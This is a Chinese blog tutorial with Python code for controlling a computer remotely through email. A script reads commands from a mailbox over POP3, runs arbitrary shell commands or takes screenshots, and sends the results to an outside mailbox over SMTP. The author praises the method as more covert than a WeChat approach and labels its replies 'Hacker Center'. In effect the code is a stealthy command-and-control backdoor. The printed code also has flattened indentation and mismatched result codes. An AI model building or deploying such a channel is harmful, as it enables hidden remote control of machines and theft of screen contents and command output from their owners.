Python 实现基于邮件指令的远程电脑控制方案

夏知夏
夏知夏
发布时间:2026-10-13 | 3人浏览过
原创

本文介绍一种基于 Python 的远程电脑控制方案,通过监听邮箱新邮件并解析其中的指令来执行操作。相比微信接口,邮件方式无需实时在线且更具隐蔽性。文章详细讲解了如何使用 POP3 协议读取邮件、解析命令(如截图或 DOS 命令),并通过 SMTP 将结果反馈至指定邮箱,提供了完整的代码实现与实验结果分析。

控制思路与方案对比

0x00 思路

此前在博客中曾见过利用 Python 调用微信接口,通过微信交互来控制电脑摄像头或开关机的案例。然而,该方法要求用户在 Python 环境中登录个人微信,且微信客户端会显示“网页端已登录”的状态,这一提示较为显眼,容易暴露操作痕迹。鉴于此,本文提出一种基于邮件交互的控制方案。

采用邮件交互方式的优势在于,它不要求用户保持实时在线状态,程序只需定期扫描邮箱以检查新邮件即可。这种机制不仅操作更为便捷,而且相比微信方式更加隐蔽,不会对用户的日常微信使用造成干扰或引起注意。

0x01 需要用到的库

实现该功能主要依赖 Python 中用于收发邮件的相关标准库及第三方库。


import smtplib
from email.parser import Parser
from email.header import decode_header
from email.utils import parseaddr
import poplib
import pyautogui
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.header import Header
import os

Python 邮件控制实现细节

0x02 具体实现

首先,需要实现邮件读取功能。程序将获取最新的一封邮件,解析其中的内容,这些内容即为需要执行的操作指令,例如查询本机 IP 地址或获取屏幕截图等。

在获取邮件具体内容之前,需先完成邮箱登录环境的初始化配置。


def email_init():
 email = 'xxxxx@qq.com' #登录的邮箱账号
 password = 'xxxxx' # 注意这里不是邮箱密码 是要登录的邮箱的授权码
 pop3_server = 'pop.qq.com'
 
 # 连接到POP3服务器:
 server = poplib.POP3_SSL(pop3_server, 995)
 server.set_debuglevel(0)
 server.user(email)
 server.pass_(password)
 resp, mails, octets = server.list()
 index = len(mails)
 resp, lines, octets = server.retr(index) # 这里index代表读取最后一封邮件 也就是第一封
 msg_content = b'\r\n'.join(lines).decode('utf-8')
 msg = Parser().parsestr(msg_content)
 
 return msg, server

需要注意的是,登录时使用的密码并非邮箱账号的原始密码,而是邮箱服务商提供的“授权码”。获取授权码的具体方法可通过搜索引擎查询相关教程。

完成初始化后,即可开始执行邮件读取流程。


def print_info(msg, indent=0):
 if indent == 0:
 for header in ['From', 'To', 'Subject']:
 value = msg.get(header, '')
 if value:
 if header == 'Subject':
 value = decode_str(value)
 else:
 hdr, addr = parseaddr(value)
 name = decode_str(hdr)
 value = u'%s <%s>' % (name, addr)
 print('%s%s: %s' % (' ' * indent, header, value))
 
 if msg.is_multipart():
 parts = msg.get_payload()
 for n, part in enumerate(parts):
 print('%spart %s' % (' ' * indent, n))
 print('%s--------------------' % (' ' * indent))
 return print_info(part, indent + 1)
 else:
 content_type = msg.get_content_type()
 if content_type=='text/plain' or content_type=='text/html':
 content = msg.get_payload(decode=True)
 charset = guess_charset(msg)
 if charset:
 content = content.decode(charset)
 print('%sText: %s' % (' ' * indent, content))
 return content
 else:
 print('%sAttachment: %s' % (' ' * indent, content_type))

将上一步获取的 msg 参数传入读取函数,通过递归调用来查询并解码邮件内容。关于递归调用中的输出处理问题,可参考之前的相关文章:https://www.jb51.net/article/182761.htm

此外,邮件解析过程中涉及一个关键的解码函数 decode_str(),其具体实现如下:


def decode_str(s):
 value, charset = decode_header(s)[0]
 if charset:
 value = value.decode(charset)
 return value

在成功从邮件中读取并解析出相关命令后,程序将执行相应的命令操作,并通过邮件形式将执行结果反馈给用户。

以下示例展示了如何返回屏幕截图以及执行 DOS 命令。


def send_result(kind, result):
 # 第三方 SMTP 服务
 mail_host = "smtp.163.com"
 mail_user = "@163.com" #发送信息的邮箱 这里我是用的163邮箱
 mail_pass = "xxxxxxx" # 邮箱的授权码
 
 sender = 'xxxxxx@163.com' #发送方地址
 receivers = ['xxxxx@qq.com'] #收件地址
 
 if kind == 1: # 第一方式 反馈屏幕截图
 print('Sending screenshot.')
 # 创建一个带附件的实例
 message = MIMEMultipart()
 message['From'] = '<hacker_center@163.com>'
 message['To'] = '<niu5512@qq.com>'
 subject = 'Hacker Center reply'
 message['Subject'] = Header(subject, 'utf-8')
 
 # 邮件正文内容
 message.attach(MIMEText('Hacker Server replay', 'plain', 'utf-8'))
 
 if os.path.exists("./screenshot.jpg"):
 # 构造附件1,传送当前目录下的 test.txt 文件
 att1 = MIMEText(open('./screenshot.jpg', 'rb').read(), 'base64', 'utf-8')
 att1["Content-Type"] = 'application/octet-stream'
 # 这里的filename可以任意写,写什么名字,邮件中显示什么名字
 att1["Content-Disposition"] = 'attachment; filename="screenshot.jpg"'
 message.attach(att1)
 try:
 smtpObj = smtplib.SMTP_SSL(mail_host, 465) # 启用SSL发信, 端口一般是465
 smtpObj.login(mail_user, mail_pass) # 登录验证
 smtpObj.sendmail(sender, receivers, message.as_string()) # 发送
 print("mail has been send successfully.")
 except smtplib.SMTPException as e:
 print(e)
 
 if kind == 2: #第二种方式 返回dos命令结果
 message = MIMEText(result, 'plain', 'utf-8')
 message['From'] = '<hacker_center@163.com>'
 message['To'] = '<niu5512@qq.com>'
 subject = 'Hacker Center reply'
 message['Subject'] = Header(subject, 'utf-8')
 smtpObj = smtplib.SMTP_SSL(mail_host, 465)
 smtpObj.login(mail_user, mail_pass)
 smtpObj.sendmail(sender, receivers, message.as_string())
 print("mail has been send successfully.")

其中,执行 DOS 命令的核心函数实现如下:


def manage_cmd(cmd):
 print('The command is:%s' % cmd)
 kind = 0
 result = 'Nothing happen.'
 
 if 'screenshot' in cmd:
 img = pyautogui.screenshot()
 img.save('./screenshot.jpg')
 kind = 1
 
 if 'dos cmd' in cmd:
 dos_result = ''
 index = cmd.find(':')
 cmd = cmd[index+1:]
 
 if os.system(cmd):
 result = 'command err.'
 else:
 info = os.popen(cmd)
 
 for line in info:
 dos_result = dos_result + line
 kind = 3
 if dos_result != '':
 result = dos_result
 
 return kind, result

传入的 cmd 参数即为从邮件中解析出的具体内容。程序根据对邮件内容的判断,决定执行何种操作并通过邮件反馈结果。

实验结果与总结

0x03 实验结果

向控制邮箱发送查询本机 IP 地址的指令。

接收到的反馈结果如下所示:

总结

至此,关于利用 Python 通过邮件控制电脑实现远程操作的教程介绍完毕。如需了解更多关于 Python 邮件远程控制电脑的相关内容,建议搜索本站历史文章或继续浏览后续系列文章,感谢大家的支持!

相关标签:

本站声明

本文内容仅供参考,不代表本站观点。转载或引用请注明出处。如发现内容问题,请通过联系我们页面反馈。

Python 相关产品和应用

全部下载

专题列表